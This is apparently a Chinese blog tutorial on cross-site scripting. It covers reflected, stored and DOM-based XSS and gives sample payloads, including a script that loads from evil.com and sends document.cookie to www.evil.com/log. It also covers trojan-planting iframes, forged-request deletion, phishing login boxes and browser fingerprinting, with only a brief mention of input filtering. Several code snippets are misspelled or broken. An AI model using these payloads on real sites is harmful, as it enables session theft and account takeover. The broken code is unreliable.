xss漏洞

简述

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、
VBScript、ActiveX、 Flash
或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

一、通过xss可以进行那些操作

1.挂马

当发现网站页面有xss漏洞时,我们可以利用工具制作木马

<ifram src="http://xxxx.xxxx.xxxx.xxxx/xxxxx" width=0 heigh=0 frameborder=0></iframe>

2.获取cookie

写一段获取别人cookie的脚本,利用xss插入到网页中,这样被人在登录时,代码就是被执行,cookie就会发送到我的邮箱里。

3.非法转账

恶意脚本代码

4.跳转页面

插入JS代码实现网页跳转
跳转个别页面 也会影响访问量

5.实现特殊效果

在网页中插入视频,内网实现特殊效果

二、xss的分类

1.反射型(非持久型)

把用户输入的数据“反射”给浏览器 。黑客需要诱使用户点击恶意链接,才能攻击成功,
这种方式不会使用简单的一句代码,要使 有真正的破坏性,会在使用`

   <script scr="外部脚本"> </script>

来连接外部的脚本
攻击者会使用恶意代码通过xxs漏洞获取用户cookie
盗取用户的cookie 攻击者会使用用户的身份进行登录,从而获取用户的敏感信息。

2.存储型(持久型)

隐蔽性高
不需要手动去触发
当再次访问时,代码又会被执行
提交的代码会被服务器接受并存储

<script>alert(document.cookie)</script>:普通注入
"/><script>alert(document.cookie)</script>:闭合标签注入
</textarea>""><script>alert(document.cookie)</script>:闭合标签注入

把用户的数据存储在服务器端
把恶意的脚本保存到服务器
黑客写了一篇包含有恶意javascript代码的博客文章,发表后,所有访问该博客的用户,都会在浏览器中执行这一段代码。

3.DOM based xss 型(文档对象模型)

<script>
functon  test() {
var  str=document.getElementByid("text").value;
document.getElementByid("t").innerHTM="<a href='"+str+"'>testLink</a>";}
</script>
<div  id="t"><div>
<input  type="text" id="text" value=""/>
<input  type="button" id="s" value="write" onclick="test()"/>

“+str+” 你输入的值

不与服务器交互 只发生在客服端
onclick事件调用了test()函数 而在test()函数中,修改了页面dom节点
通过 把一段用户数据当作html写入到页面中,这就造成了dom based xss
构造如下数据:

' onclick=alert(/xss/)//

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。
输出后

<a  href='  ' onlick=alert(/xss/)// ' >testLink</a>

这里除了构造一个新事件外,还可以选择闭合标签,并插入一个新的html标签。输入如下:

' ><img src=# οnerrοr=alert(/xss2/)  /><'  

输入后:

<a href=''><img src=# onerror=alert(/xss2/)  /><'  '>testLink</a>

xss攻击

植入恶意脚本被称为“xss payload”,这实际上是javascript脚本能实现的功能,xss payload 都能做到。
一个常见的 xss payload,就是通过读取浏览器的cookie对象,从而发起“cookie劫持”攻击。
cookie中一般加密保存了当前用户的登录凭证,如果丢失,就意味着用户的登录凭证丢失。
攻击者也可以利用cookie不通过密码直接登录进用户的账户。
远程脚本如下所示:

http://www.a.com/test.htm?abc="><script  src=http://www.evil.com/evil.js  ></script>

真正的xss payload写在这个远程脚本中,避免直接在url的参数里写入大量的javascript代码。
在evil.js中,通过以下代码窃取cookie:

var  img=document.createBlement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendchild(img);

浏览器发起的所有请求都会自动带上cookie,如果cookie没有绑定客户端信息,当攻击者窃取了cookie后,就可以不用密码登录用户的账户
cookie的httponly标识可以防止cookie的劫持

---------------------------------

cookie的劫持并非对所有网站有效。有的网站会在set-cookie时给关键cookie植入httponly标识。有的网站则可能会把cookie与客户端ip绑定,从而使得xss窃取的cookie没有作用
即使这样,xss攻击成功后,仍有办法控制用户浏览器。
get与post
博客上有一篇文章,若通过xss删除,如何完成
假设博客所在域的某页面存在xss漏洞,那么通过 java script,这个过程如下:
正常删除链接:
http://blog.sohu.com/manage/entry.do?m=delete&id=1567133012
对于攻击者,只需知道文章的id,就可通过请求删除这篇文章。
攻击者可以通过插入一张图片来发起一个get请求:

var  img=document.createElement("img");
img.src="http://blog.sohu.com/manage/entryu.do?m=delete&id=156713012";
document.body.appendChild(img);

xss钓鱼
xss payload 可以通过读取页面内容 将验证码的图片url发送到远程服务器上来实施
攻击者可以在远程xss后台接收当前验证码,并将验证功码的值返回给当前的xss payload ,从而绕过验证码
xss与钓鱼相结合

利用javascript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上
识别用户浏览器
攻击者知道用户使用的浏览器、操作系统、攻击者就有可能实施一次精准的浏览器攻击,最终给用户电脑植入木马。xss能够帮助攻击者快速达到收集信息的目的

如何通过javascript脚本识别浏览器版本,直接就是通过xss读取浏览器的useragent对象:

alert(navigator.userAgent);

但这种方式并不准确,useragent是可以伪造的,firefox有很多扩展可以屏蔽或自定义浏览器发送的useragent。
所以对于攻击者来说,还有另外一种技巧可以更准确地识别用户的浏览器版本
·
识别用户安装的软件
在IE中,通过判断activeX控件的classid是否存在,来推测用户是否安装了该软件。
这种方法很早就用于挂马攻击,攻击者通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
如下代码:

try{
var obj=new activexobject('xunleibho.thunderiehelper');
}catch (e){//不存在该控件
}

判断迅雷的一个控件(xunleibho.thunderiehelper)是否存在,用户安装了迅雷软件,就是默认安装此控件,因此可以推测用户有没有安装迅雷软件。

三、xss的修复

产生xss漏洞的原因是对输入和输出的内容,没有严格的过滤,页面中在执行javascript等一些客户段程序时把 输入的内容当作代码来执行,
解决方法:把敏感字符过滤

字符串过滤

补充

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值